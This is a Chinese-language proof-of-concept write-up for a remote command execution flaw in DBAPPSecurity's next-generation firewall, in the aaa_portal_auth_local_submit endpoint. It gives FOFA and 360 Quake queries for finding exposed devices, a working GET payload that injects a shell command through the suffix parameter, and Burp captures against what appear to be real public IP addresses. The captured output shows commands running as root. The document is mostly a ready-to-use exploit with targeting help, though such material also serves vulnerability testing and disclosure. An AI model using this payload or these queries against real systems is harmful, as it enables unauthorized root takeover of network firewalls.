

# A5-1安恒-下一代防火墙-RCE

## 漏洞描述：

安恒 下一代防火墙 aaa\_portal\_auth\_local\_submit 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

## 网站图片：



## 网络测绘：

### fofa语法：

```
body="/webui/?g=page_frame_login_vldcode&vldcode=" && title="下一代防火墙"
```

### 360quake语法：

```
body="/webui/?g=page_frame_login_vldcode&vldcode=" && title="下一代防火墙"
```

## 漏洞复现：

### payload:

```
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%60id+%3E/usr/local/webui/frrgkquigh.txt%60 HTTP/1.1
Host: xx.xx.xx.xx:9099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
```

### 效果图:

Kali Tools Kali

cal\_logo"} Send Cancel < >

Target: http://124.152.238.37:

**Request**  
Pretty Raw Hex

```
1 GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&
  suffix=id%3E/usr/local/webui/frgkquigh.txt HTTP/1.1
2 Host: 112.36.20.30:9099
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
  image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;
  q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 Cookie: USGSESSID=cb38c6800c53e2ebca16f31aeff85fe1
9 Upgrade-Insecure-Requests: 1
10
11
```

**Response**  
Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
3 Pragma: no-cache
4 Cache-control: private
5 P3P: CP="IDC DSP COR ADM DEVI TAIi PSA PSD IVAi IVDi CONi HIS
  OUR IND CNT"
6 Content-type: text/html
7 Connection: close
8 Date: Tue, 09 Jan 2024 15:15:47 GMT
9 Server: lighttpd/1.4.39
10 Content-Length: 27
11
12 {"success": "local_logo"}
```

**Inspector**  
Request attributes  
Request query param  
Request body param  
Request cookies  
Request headers  
Response headers

出现success, 访问请求路径http://xx.xx.xx.xx:9099/frgkquigh.txt 查看执行结果文件

```
GET /frgkquigh.txt HTTP/1.1
Host: 112.36.20.30:9099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
```

页面加载出错 × 明御安全网关 ×

https://112.36.20.30:9099/frgkquigh.txt

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

```
uid=0(root) gid=0(root)
```